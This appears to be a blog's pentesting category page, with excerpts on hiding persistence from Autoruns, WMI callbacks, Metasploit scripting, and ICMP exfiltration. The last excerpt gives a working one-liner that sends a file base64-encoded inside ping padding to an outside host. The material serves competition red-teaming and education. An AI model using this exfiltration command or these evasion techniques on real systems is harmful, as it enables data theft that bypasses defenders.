Articles in the Pentesting category

  1. Autoruns Bypasses


    Autoruns is a tool that is part of the Microsoft Sysinternals suite. It comes in permutations of console/GUI and 32/64 bit versions. Its main purpose is to detect programs, scripts, and other items that run either periodically or at login. It's a fantastic tool for blue teams to find persistent execution, but it is not perfect! By default, autoruns hides entries that are considered "Windows" entries (Options menu -> Hide Windows Entries). There is a checkbox to unhide them, but it introduces a lot of noise. In my preparations to red team for the Information Security Talent Search (ISTS) at RIT and the Mid-Atlantic Collegiate Cyber Defense Comptition (MACCDC) this year I found a few ways to hide myself among the Windows entries reported in Autoruns.

    For some prior work done in this area check out Huntress Labs's research and Conscious Hacker's research.

    ...


    Check out the full post for more details!
  2. Scheduling Callbacks with WMI in C++


    I am going to be starting a series of posts on what I have learned on Windows pentesting and post exploitation. These posts will have a heavy focus on red teaming for competitions and cyber exercises. I am not a pentester, but I think some of the places to hide in Windows are cool so I want to write about them. These posts will include code snippets in powershell and C++. Much of this code I had to figure out how to write using the MSDN docs alone and feel that it is useful to put on the internet somewhere so others don't have to go through so much hassle to make it work.

    The topic of this post is scheduling persistent callbacks with Windows Management Instrumentation (WMI).

    WMI Explained (in brief)

    Essentially, WMI is an interface for configuration and information gathering on Windows systems. It is installed by default on Windows ME and up, which makes it a valuable resource for sysadmins and attackers. It contains information about all aspects of the system including processes, attached devices, and (I'm not kidding) games registered with Windows (wmic /namespace:\\root\cimv2\applications\games PATH game get). There is a lot of information here which will not be covered in this post. Exploration of what more WMI has to offer is left as an exercise to the reader!

    The interface consists of namespaces, classes, and instances of classes. Namespaces contain different classes and instances are instances of classes in a namespace. Think of a namespace as a database, a class as a table schema, and an instance as a row in that table. Instances can have properties and callable methods. One of the standard examples of method calling in WMI is creating a process with the WMI command line interface command wmic:

    wmic process call create calc.exe
    

    The above line will spawn calc.exe as the current user. ...


    Check out the full post for more details!
  3. Metasploit Workflows and Scripting


    Here is a presentation I gave at GVSU on 7/20/16 about the basics of metasploit and automation using pymetasploit

    The code for autopsexec is not public right now because it is a mess. I'll update this post when I fix it!

  4. Data Exfiltration with Ping


    I was looking around Twitter the other day and someone had posted something similar to this. I don't remember who you are, but this is a neat trick so I wanted to share it. How to exfiltrate data from a network using the padding of ICMP echo request packets.

    Sending data

    base64 important-data.txt | xxd -ps -c 16 | while read i; do ping -c1 -s32 -p $i 8.8.8.8; done
    

    This will base64 encode important-data.txt and then stuff the encoded data 16 bytes at a time into ping.

    Obviously you should change the IP before sending :)

    Receiving data

    You can grab the data off the wire using scapy. Here's a short little script that takes an out file name as the first argument and then an optional interface name to listen on as the second argument.

    That's all for now.